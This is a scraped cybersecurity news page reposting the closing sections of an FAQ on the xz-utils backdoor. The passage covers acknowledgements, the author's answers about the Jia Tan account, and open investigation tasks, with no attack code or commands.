version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\" \/><\/svg><\/a><\/div>\n<p dir=\"auto\">This is for linking to interesting general discussions, rather than specific changes being suggested (see above).<\/p>\n<div class=\"markdown-heading\" dir=\"auto\">\n<h2 class=\"heading-element\" dir=\"auto\">Acknowledgements<\/h2>\n<p><a id=\"user-content-acknowledgements\" class=\"anchor\" aria-label=\"Permalink: Acknowledgements\" href=\"https:\/\/gist.github.com\/thesamesam\/223949d5a074ebc3dce9ee78baad9e27#acknowledgements\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\" \/><\/svg><\/a><\/div>\n<ul dir=\"auto\">\n<li>Andres Freund who discovered the issue and reported it to <em>linux-distros<\/em> and then <em>oss-security<\/em>.<\/li>\n<li>All the hard-working security teams helping to coordinate a response and push out fixes.<\/li>\n<li>Xe Iaso who resummarized this page for readability.<\/li>\n<li>Everybody who has provided me tips privately, in #tukaani, or in comments on this gist.<\/li>\n<\/ul>\n<div class=\"markdown-heading\" dir=\"auto\">\n<h3 class=\"heading-element\" dir=\"auto\">Response to questions<\/h3>\n<p><a id=\"user-content-response-to-questions\" class=\"anchor\" aria-label=\"Permalink: Response to questions\" href=\"https:\/\/gist.github.com\/thesamesam\/223949d5a074ebc3dce9ee78baad9e27#response-to-questions\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\" \/><\/svg><\/a><\/div>\n<ul dir=\"auto\" readability=\"2.4577702702703\">\n<li readability=\"4\">\n<p dir=\"auto\">A few people have asked why Jia Tan followed me (@thesamesam) on GitHub. #tukaani was a small community on IRC before this kicked off (~10 people, currently has ~350). I&#8217;ve been in #tukaani for a few years now. When the move from self-hosted infra to github was being planned and implemented, I was around and starred &amp; followed the new Tukaani org pretty quickly.<\/p>\n<\/li>\n<li readability=\"0.97131931166348\">\n<p dir=\"auto\">I&#8217;m referenced in one of the <a href=\"https:\/\/git.tukaani.org\/?p=xz.git;a=commit;h=72d2933bfae514e0dbb123488e9f1eb7cf64175f\" rel=\"nofollow\">commits<\/a> in the original oss-security post that works around noise from the IFUNC resolver. This was a legitimate issue which applies to IFUNC resolvers in general. The GCC bug it led to (<a href=\"https:\/\/gcc.gnu.org\/PR114115\" rel=\"nofollow\">PR114115<\/a> remains open and has a patch pending from a GCC developer.<\/p>\n<ul dir=\"auto\">\n<li>On reflection, there may have been a missed opportunity as maybe I should have looked into why I couldn&#8217;t hit the reported Valgrind problems from Fedora on Gentoo, but this isn&#8217;t the place for my own reflections nor is it IMO the time yet.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<div class=\"markdown-heading\" dir=\"auto\">\n<h3 class=\"heading-element\" dir=\"auto\">TODO for this doc<\/h3>\n<p><a id=\"user-content-todo-for-this-doc\" class=\"anchor\" aria-label=\"Permalink: TODO for this doc\" href=\"https:\/\/gist.github.com\/thesamesam\/223949d5a074ebc3dce9ee78baad9e27#todo-for-this-doc\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\" \/><\/svg><\/a><\/div>\n<ul dir=\"auto\">\n<li>Add a table of releases + signer?<\/li>\n<li>Include the injection script after the macro<\/li>\n<li>Mention detection?<\/li>\n<li>Explain the bug-autoconf thing maybe wrt serial<\/li>\n<\/ul>\n<div class=\"markdown-heading\" dir=\"auto\">\n<h3 class=\"heading-element\" dir=\"auto\">TODO overall<\/h3>\n<p><a id=\"user-content-todo-overall\" class=\"anchor\" aria-label=\"Permalink: TODO overall\" href=\"https:\/\/gist.github.com\/thesamesam\/223949d5a074ebc3dce9ee78baad9e27#todo-overall\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\" \/><\/svg><\/a><\/div>\n<p dir=\"auto\">Anyone can and should work on these. I&#8217;m just listing them so people have a rough idea of what&#8217;s left.<\/p>\n<ul dir=\"auto\">\n<li><strong>Ensuring Lasse Collin and xz-utils is supported<\/strong>, even long after the fervour is over<\/li>\n<li>Reverse engineering the payload (it&#8217;s still fairly early days here on this)<\/li>\n<li>Auditing all possibly-tainted xz-utils commits<\/li>\n<li>Investigate other paths for <code>sshd<\/code> to get <code>liblzma<\/code> in its process (not just via <code>libsystemd<\/code>, or at least not directly)\n<ul dir=\"auto\">\n<li>This is already partly done and it looks like none exist, but it would be nice to be sure.<\/li>\n<\/ul>\n<\/li>\n<li>Checking other projects for similar injection mechanisms (e.g. similar build system lines)<\/li>\n<li>???<\/li>\n<\/ul>\n<div class=\"markdown-heading\" dir=\"auto\">\n<h2 class=\"heading-element\" dir=\"auto\">References and other reading material<\/h2>\n<p><a id=\"user-content-references-and-other-reading-material\" class=\"anchor\" aria-label=\"Permalink: References and other reading material\" href=\"https:\/\/gist.github.com\/thesamesam\/223949d5a074ebc3dce9ee78baad9e27#references-and-other-reading-material\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\" \/><\/svg><\/a><\/div>\n<p> READ MORE <a href=\"https:\/\/packetstormsecurity.com\/news\/view\/35723\/FAQ-On-The-xz-utils-Backdoor.html\">HERE<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>READ MORE HERE&#8230;<\/p>\n","protected":false},"author":2,"featured_media":55734,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"colormag_page_layout":"default_layout","footnotes":""},"categories":[60],"tags":[4207],"class_list":["post-55733","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-packet-storm","tag-headlinehackerbackdoor"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.6 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>FAQ On The xz-utils Backdoor 2026 | ThreatsHub Cybersecurity News<\/title>\n<meta name=\"description\" content=\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security &amp; Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and 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